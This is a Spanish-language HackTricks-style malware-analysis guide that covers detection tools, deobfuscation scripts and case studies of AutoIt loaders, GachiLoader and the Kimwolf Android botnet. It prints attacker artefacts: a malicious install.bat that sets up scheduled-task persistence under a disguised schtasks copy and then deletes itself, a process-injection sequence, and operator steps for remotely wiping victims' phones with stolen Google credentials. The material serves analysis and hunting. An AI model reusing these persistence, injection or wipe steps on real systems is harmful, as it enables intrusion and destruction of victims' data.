Análisis de Malware

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Hojas de trucos forenses

https://www.jaiminton.com/cheatsheet/DFIR/#

Servicios online

Antivirus offline y herramientas de detección

Yara

Install

sudo apt-get install -y yara

Prepare rules

Usa este script para descargar y fusionar todas las reglas yara de malware desde github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea el directorio rules y ejecútalo. Esto creará un archivo llamado malware_rules.yar que contiene todas las reglas yara para malware.

wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py

Scan

yara -w malware_rules.yar image  #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder

YaraGen: Comprobar malware y crear reglas

Puedes usar la herramienta YaraGen para generar reglas yara a partir de un binario. Consulta estos tutoriales: Part 1, Part 2, Part 3

python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m  ../../mals/

ClamAV

Instalar

sudo apt-get install -y clamav

Escaneo

sudo freshclam      #Update rules
clamscan filepath   #Scan 1 file
clamscan folderpath #Scan the whole folder

Capa

Capa detecta capabilities potencialmente maliciosas en ejecutables: PE, ELF, .NET. Así que encontrará cosas como tácticas de Att&ck, o capacidades sospechosas como:

  • check for OutputDebugString error
  • run as a service
  • create process

Consíguelo en el Github repo.

IOCs

IOC significa Indicator Of Compromise. Un IOC es un conjunto de condiciones que identifican algún software potencialmente no deseado o malware confirmado. Los Blue Teams usan este tipo de definición para buscar este tipo de archivos maliciosos en sus systems y networks.
Compartir estas definiciones es muy útil, ya que cuando se identifica malware en un ordenador y se crea un IOC para ese malware, otros Blue Teams pueden usarlo para identificar el malware más rápido.

Una herramienta para crear o modificar IOCs es IOC Editor.
Puedes usar herramientas como Redline para buscar IOCs definidos en un dispositivo.

Loki

Loki es un escáner para Simple Indicators of Compromise.
La detección se basa en cuatro métodos de detección:

1. File Name IOC
Regex match on full file path/name

2. Yara Rule Check
Yara signature matches on file data and process memory

3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files

4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)

Linux Malware Detect

Linux Malware Detect (LMD) es un scanner de malware para Linux, publicado bajo la licencia GNU GPLv2, diseñado en torno a las amenazas que se enfrentan en entornos de hosting compartido. Utiliza datos de amenazas de sistemas de detección de intrusiones en el borde de la red para extraer malware que se está utilizando activamente en ataques y genera firmas para la detección. Además, los datos de amenazas también se derivan de envíos de usuarios con la función checkout de LMD y de recursos de la comunidad de malware.

rkhunter

Herramientas como rkhunter pueden usarse para comprobar el sistema de archivos en busca de posibles rootkits y malware.

sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]

FLOSS

FLOSS es una herramienta que intentará encontrar strings ofuscadas dentro de ejecutables usando diferentes técnicas.

PEpper

PEpper comprueba algunas cosas básicas dentro del ejecutable (binary data, entropy, URLs e IPs, algunas reglas de yara).

PEstudio

PEstudio es una herramienta que permite obtener información de ejecutables de Windows como imports, exports, headers, pero también comprobará virus total y encontrará posibles técnicas de Att&ck.

Detect It Easy(DiE)

DiE es una herramienta para detectar si un archivo está encrypted y también encontrar packers.

NeoPI

NeoPI es un script de Python que usa una variedad de statistical methods para detectar contenido obfuscated y encrypted dentro de archivos de texto/script. El propósito previsto de NeoPI es ayudar en la detection of hidden web shell code.

php-malware-finder

PHP-malware-finder hace todo lo posible para detectar obfuscated/dodgy code así como archivos que usan funciones de PHP a menudo usadas en malwares/webshells.

Apple Binary Signatures

Cuando revises alguna malware sample siempre deberías check the signature del binary, ya que el developer que lo firmó puede estar ya related con malware.

#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"

#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app

#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app

Técnicas de detección

File Stacking

Si sabes que alguna carpeta que contiene los files de un servidor web fue actualizada por última vez en alguna fecha. Comprueba la fecha en que todos los files del web server fueron creados y modificados y, si alguna fecha es sospechosa, revisa ese file.

Baselines

Si los files de una carpeta no deberían haber sido modificados, puedes calcular el hash de los original files de la carpeta y compararlos con los actuales. Todo lo modificado será sospechoso.

Statistical Analysis

Cuando la información se guarda en logs, puedes comprobar estadísticas como cuántas veces se accedió a cada file de un web server, ya que un web shell podría ser una de las más.


Android in-app native telemetry (no root)

En Android, puedes instrumentar código nativo dentro del proceso de la app objetivo precargando una pequeña biblioteca logger antes de que se inicialicen otras libs JNI. Esto da visibilidad temprana del comportamiento nativo sin hooks a nivel de sistema ni root. Un enfoque popular es SoTap: coloca libsotap.so para la ABI correcta dentro del APK e inyecta una llamada a System.loadLibrary(“sotap”) temprano (p. ej., en un static initializer o en Application.onCreate), y luego recoge logs desde rutas internas/externas o como fallback desde Logcat.

Consulta la página de reversing nativo de Android para detalles de configuración y rutas de logs:

Reversing Native Libraries


Android/JNI native string deobfuscation with angr + Ghidra

Algunos Android malware y apps protegidas por RASP ocultan los nombres y signatures de métodos JNI decodificándolos en tiempo de ejecución antes de llamar a RegisterNatives. Cuando la instrumentación con Frida/ptrace es eliminada por anti-debug, aún puedes recuperar el plaintext offline ejecutando el decoder binario con angr y luego volcando los resultados de vuelta en Ghidra como comentarios.

Idea clave: trata el decoder dentro del .so como una función invocable, ejecútalo sobre los blobs de bytes ofuscados en .rodata y concretiza los bytes de salida hasta el primer \x00 (terminador de C-string). Mantén angr y Ghidra usando la misma image base para evitar desajustes de direcciones.

Resumen del workflow

  • Triage en Ghidra: identifica el decoder y su calling convention/arguments en la configuración de JNI_OnLoad y RegisterNatives.
  • Ejecuta angr (CPython3) para correr el decoder sobre cada string objetivo y volcar los resultados.
  • Anota en Ghidra: auto-comenta las strings decodificadas en cada call site para reconstruir JNI rápidamente.

Triage en Ghidra (patrón JNI_OnLoad)

  • Aplica datatypes de JNI a JNI_OnLoad para que Ghidra reconozca estructuras JNINativeMethod.
  • JNINativeMethod típico según la documentación de Oracle:
typedef struct {
char *name;      // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr;     // native implementation address
} JNINativeMethod;
  • Busca llamadas a RegisterNatives. Si la library construye el name/signature con una rutina local (p. ej., FUN_00100e10) que referencia una tabla estática de bytes (p. ej., DAT_00100bf4) y toma parameters como (encoded_ptr, out_buf, length), ese es un target ideal para ejecución offline.

Configuración de angr (ejecutar el decoder offline)

  • Carga el .so con la misma base usada en Ghidra (ejemplo: 0x00100000) y desactiva la carga automática de external libs para mantener el estado pequeño.
Configuración de angr y ejecución offline del decoder ```python import angr, json

project = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )

ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra

def decode_string(enc_addr, length):

fresh blank state per evaluation

st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)

Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B

print(decode_string(0x00100933, 5))

</details>

- A escala, construye un mapa estático de call sites hacia los argumentos del decoder (encoded_ptr, size). Los wrappers pueden ocultar argumentos, así que puedes crear este mapeo manualmente a partir de xrefs de Ghidra si la recuperación de API es ruidosa.

<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}

decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }

import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)

Anotar sitios de llamada en Ghidra Opción A: escritor de comentarios solo con Jython (usar un JSON precomputado)

  • Como angr requiere CPython3, mantén la deofuscación y la anotación separadas. Primero ejecuta el script de angr anterior para producir decoded_strings.json. Luego ejecuta este GhidraScript de Jython para escribir PRE_COMMENTs en cada sitio de llamada (e incluir el nombre de la función llamadora para contexto):
Script de Jython para Ghidra para anotar strings JNI decodificados ```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnit

Ask for the JSON produced by the angr script

f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings

fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()

Replace with your decoder address to locate call-xrefs (optional)

ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)

callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()

Write comments from JSON

for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))

</details>

Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.

Why this works and when to use it
- Offline execution sidesteps RASP/anti-debug: no ptrace, no Frida hooks required to recover strings.
- Keeping Ghidra and angr base_addr aligned (e.g., 0x00100000) ensures that function/data addresses match across tools.
- Repeatable recipe for decoders: treat the transform as a pure function, allocate an output buffer in a fresh state, call it with (encoded_ptr, out_ptr, len), then concretize via state.solver.eval and parse C-strings up to \x00.

Notes and pitfalls
- Respect the target ABI/calling convention. angr.factory.callable picks one based on arch; if arguments look shifted, specify cc explicitly.
- If the decoder expects zeroed output buffers, initialize outbuf with zeros in the state before the call.
- For position-independent Android .so, always supply base_addr so addresses in angr match those seen in Ghidra.
- Use currentProgram.getReferenceManager() to enumerate call-xrefs even if the app wraps the decoder behind thin stubs.

For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)

---

## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)

Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`.  A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.

The technique – showcased by the SLOW#TEMPEST loader – can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. Extraer el byte-code del dispatcher

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Emularlo dos veces con Unicorn

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

Ejecute run(code,0,0) y run(code,1,1) para obtener los objetivos de las ramas false y true.

4. Patch back a direct jump / call

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

Después de parchear, fuerza a IDA a volver a analizar la función para que se restauren el CFG completo y la salida de Hex-Rays:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. Etiqueta las llamadas indirectas a API

Una vez que se conoce el destino real de cada call rax puedes decirle a IDA cuál es para que los tipos de parámetros y los nombres de variables se recuperen automáticamente:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

Beneficios prácticos

  • Restaura el CFG real → la decompilación pasa de 10 líneas a miles.
  • Habilita string-cross-reference y xrefs, haciendo trivial la reconstrucción del comportamiento.
  • Los scripts son reutilizables: colócalos en cualquier loader protegido por el mismo truco.

Loaders basados en AutoIt: descifrado de .a3x, suplantación de Task Scheduler e inyección de RAT

Este patrón de intrusión encadena un MSI firmado, loaders de AutoIt compilados a .a3x y un trabajo de Task Scheduler que se hace pasar por una app benigna.

MSI → custom actions → orquestador de AutoIt

Árbol de procesos y comandos ejecutados por las custom actions del MSI:

  • MsiExec.exe → cmd.exe para ejecutar install.bat
  • WScript.exe para mostrar un cuadro de diálogo de error señuelo
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs

install.bat (deja caer el loader, establece persistencia, se autolimpia):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (user decoy):

MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"

Key artifacts and masquerade:

  • Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
  • Copies schtasks.exe to hwpviewer.exe (se disfraza como Hangul Word Processor viewer)
  • Crea una tarea programada “IoKlTr” que se ejecuta cada 1 minuto
  • Se ve Startup LNK como Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • Prepara módulos bajo subcarpetas %APPDATA%\Google\Browser\ que contienen adb o adv y los inicia mediante helpers autoit.vbs/install.bat

Forensic triage tips:

  • Enumeración de schtasks: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Busca copias renombradas de schtasks.exe colocadas junto al Task XML: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • Rutas comunes: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, Startup Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • Correlaciona la creación de procesos: AutoIt3.exe iniciando binarios legítimos de Windows (p. ej., cleanmgr.exe, hncfinder.exe)

AutoIt loaders and .a3x payload decryption → injection

  • Los módulos AutoIt se compilan con #AutoIt3Wrapper_Outfile_type=a3x y descifran payloads embebidos antes de inyectarlos en procesos benignos.
  • Familias observadas: QuasarRAT (inyectado en hncfinder.exe) y RftRAT/RFTServer (inyectado en cleanmgr.exe), así como módulos de RemcosRAT (Remcos\RunBinary.a3x).
  • Patrón de decryption: derivar una clave AES mediante HMAC, descifrar el blob embebido y luego inyectar el módulo en texto claro.

Generic decryption skeleton (exact HMAC input/algorithm is family-specific):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

Flujo común de inyección (estilo CreateRemoteThread):

  • CreateProcess (suspended) del host objetivo (p. ej., cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory con módulo/shellcode descifrado
  • CreateRemoteThread o QueueUserAPC para ejecutar el payload

Ideas de hunting

  • AutoIt3.exe con padre MsiExec.exe o WScript.exe lanzando utilidades del sistema
  • Archivos con extensiones .a3x o runners de scripts AutoIt en rutas public/user-writable
  • Tareas programadas sospechosas que ejecutan AutoIt3.exe o binarios no firmados por Microsoft, con triggers a nivel de minutos

Abuso de account-takeover de Android Find My Device (Find Hub)

Durante la intrusión en Windows, los operadores usaron credenciales robadas de Google para borrar repetidamente los dispositivos Android de la víctima, suprimiendo notificaciones mientras ampliaban el acceso mediante el mensajero de escritorio en sesión de la víctima.

Pasos del operador (desde una sesión de navegador iniciada):

  • Revisar Google Account → Security → Your devices; seguir Find My Phone → Find Hub (https://www.google.com/android/find)
  • Seleccionar dispositivo → volver a introducir la contraseña de Google → emitir “Erase device” (factory reset); repetir para retrasar la recuperación
  • Opcional: borrar e-mails de alerta en el buzón vinculado (p. ej., Naver) para ocultar notificaciones de seguridad

Seguimiento de loaders Node.js fuertemente ofuscados

Los atacantes cada vez más empaquetan loaders JavaScript dentro de binarios Windows autónomos compilados con nexe, de modo que el runtime se distribuye junto con el script. El PE resultante suele pesar 60–90 MB y se ejecuta incluso si Node.js no está instalado. Durante el triage:

  • Usa nexe_unpacker para extraer el JavaScript incrustado del PE y pasarlo a tooling local para diffing estático.
  • Espera un mutex en disco en %TEMP% (GachiLoader deja caer un archivo aleatorio <name>.lock que expira tras unos ~5 minutos). Copiar el archivo al sandbox antes de la ejecución te permite saltarte etapas redundantes y aun así ver payloads posteriores.

Trazado de la API de Node.js para derrotar el anti-analysis

Check Point’s Nodejs-Tracer engancha módulos core dentro de cualquier proceso Node.js, te permite falsificar comprobaciones anti-VM y conserva cada artefacto que escribe la muestra. Lanza scripts ofuscados a través del tracer para mantener la instrumentación controlada por el analista en la call stack:

node -r .\tracer.js main.js

Las toggles clave de configuración dentro de tracer.js te permiten:

  • Registrar actividad del filesystem, child-process y HTTP (LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). Cada archivo descartado—como kidkadi.node—se copia al directorio de trabajo antes de que el malware lo borre.
  • Sobrescribir fingerprints del entorno devolviendo recuentos realistas de RAM/CPU, falsificando la salida de tasklist y manipulando respuestas de PowerShell/WMI. Esto elude loaders que exigen ≥4 GB de RAM, ≥2 cores, y que examinan nombres de usuario (mashinesssss, wdagutilityaccount, etc.), hostnames (desktop-vrsqlag, server1 …) y nombres de proceso (vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe).
  • Neutralizar comprobaciones de hardware WMI como Get-WmiObject Win32_DiskDrive (buscando vmware, kvm, virtio, …), Win32_VideoController (bloqueando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) y recuentos de Win32_PortConnector. Cuando esas sondas reportan hardware “real”, los sandboxes ya no caen en el bucle infinito de llamadas benignas Invoke-WebRequest a linkedin.com, grok.com, whatsapp.com y dominios similares que GachiLoader usa para hacer perder tiempo al análisis.

Capturing gated C2 traffic automatically

Los network hooks del tracer revelan autenticación C2 multinivel sin necesidad de reversear la ofuscación JavaScript. En la campaña observada, el loader:

  1. Envía por POST la telemetría del host a /log en cada C2 hard-coded.
  2. Emite GET /richfamily/<per-sample key> con X-Secret: gachifamily para recuperar una URL de payload codificada en Base64.
  3. Realiza un GET final a esa URL con un header X-Secret largo y específico por muestra; si falta, devuelve 403 Forbidden.

Como el tracer registra las solicitudes completas (headers, bodies, destinos), puedes reproducir el mismo tráfico para extraer payloads, volcar shells de Themida/VMProtect en memoria y obtener los datos de configuración de Rhadamanthys a escala.

AdaptixC2: Configuration Extraction and TTPs

See the dedicated page:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • APKs maliciosas como com.n2.systemservice06* incluyen un ELF ARM enlazado estáticamente dentro de res/raw (p. ej. R.raw.libniggakernel). Un receiver BOOT_COMPLETED se ejecuta al inicio, extrae el recurso raw al sandbox de la app (p. ej. /data/data/<pkg>/niggakernel), lo hace ejecutable y lo invoca con su.
  • Muchas Android TV boxes/tablets traen imágenes pre-rooted o su con permisos de escritura globales, así que el loader arranca de forma fiable el ELF con UID 0 incluso sin una cadena de exploit. La persistencia viene “gratis” porque el receiver se relanza tras cada reboot o reinicio de la app.
  • Los reverse engineers que busquen este patrón pueden comparar AndroidManifest.xml para detectar hidden boot receivers junto con código que referencia Resources.openRawResourceFileOutputStreamRuntime.getRuntime().exec("su"). Una vez soltado el ELF, trátalo como un backdoor de Linux userland (Kimwolf está empaquetado con UPX, stripped, enlazado estáticamente, ARM EABI5 de 32 bits).

Runtime mutexes & masquerading IOCs

  • Al iniciarse, Kimwolf enlaza un abstract UNIX domain socket como @niggaboxv4/@niggaboxv5. Los sockets existentes fuerzan la salida, así que el nombre del socket funciona a la vez como mutex y como artefacto forense.
  • El título del proceso se sobrescribe con nombres que parecen de servicio (netd_services, tv_helper, etc.) para mezclarse con los listados de procesos de Android. Las detecciones basadas en host pueden alertar sobre estos nombres combinados con el socket mutex.

Stack XOR string decoding with ARM NEON + flare_emu

  • Las strings sensibles (dominios C2, resolvers, endpoints DoT) se colocan en la stack en bloques cifrados de 8 bytes y se decodifican in-place mediante VEOR Qx, Qx, Qy (veorq_s64). Los analysts pueden automatizar flare_emu para capturar el puntero descifrado cada vez que el decryptor se lo entrega al caller:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Buscando secuencias VEOR Q8, Q8, Q9 / veorq_s64 y emulando sus rangos, se vuelcan masivamente todas las cadenas descifradas, eludiendo la vida útil solo en stack del plaintext.

Resolución DNS-over-TLS más derivación XOR de IP

  • Todas las variantes de Kimwolf resuelven dominios C2 hablando DNS-over-TLS (TCP/853) directamente con Google (8.8.8.8) o Cloudflare (1.1.1.1), derrotando el registro o secuestro de DNS plano.
  • Los bots v4 simplemente usan el registro A IPv4 devuelto. Los bots v5 tratan el registro A como un entero de 32 bits, intercambian su endianness, le aplican XOR con la constante 0x00ce0491, y luego vuelven a intercambiar el endianness para obtener la IP real de C2. Receta de CyberChef: Change IP format → swap endianness per 4-byte chunk → XOR with 00 ce 04 91 → convert back to dotted decimal.

ENS / fallback de EtherHiding

  • Las compilaciones posteriores añaden un dominio ENS (pawsatyou.eth) cuyo resolver text key "lol" almacena una IPv6 de aspecto benigno (fed0:5dec:...:1be7:8599).
  • El bot toma los últimos cuatro bytes (1b e7 85 99), los XOR con 0x93141715 e interpreta el resultado como una C2 IPv4 (136.243.146.140). Actualizar el ENS text record rota instantáneamente los C2 downstream a través de la blockchain sin tocar DNS.

Canal de comandos autenticado con TLS + ECDSA

  • El tráfico se encapsula en wolfSSL con un protocolo con formato personalizado:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • Bootstrap: el bot envía dos encabezados vacíos MsgType=0 (register). El C2 responde con MsgType=1 (verify) que contiene un challenge aleatorio más una firma ASN.1 DER ECDSA. Los bots lo verifican contra un blob SubjectPublicKeyInfo incrustado; los fallos terminan la sesión, evitando que nodos C2 secuestrados/sinkholeados puedan asignar tareas a la fleet.
  • Una vez verificado, el bot envía un cuerpo MsgType=0 que lleva el group string definido por el operador (p. ej. android-postboot-rt). Si el grupo está habilitado, el C2 responde con MsgType=2 (confirm), tras lo cual comienza el tasking (MsgType 5–12).
  • Los verbos soportados incluyen proxying TCP/UDP estilo SOCKS (monetización de residential proxy), reverse shell / ejecución de un solo comando, lectura/escritura de archivos, y payloads Mirai-compatible DDoSBody (mismo layout AtkType, Duration, Targets[], Flags[]).

Ransomware con partial-encryption: nonces de stream-cipher perdidos

Algunas familias de ransomware cifran parcialmente archivos para ir más rápido, pero cuando usan un stream cipher de forma independiente en múltiples chunks, cada región cifrada necesita su propio nonce/IV persistido. Si la muestra genera un nonce nuevo por chunk y sobrescribe el mismo buffer de 12 bytes dentro del bucle, y luego solo añade el valor final al disco, los chunks anteriores quedan criptográficamente irrecuperables incluso si más tarde el atacante comparte la key.

Patrón roto típico:

for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12);                // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12);                          // only the last nonce survives

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks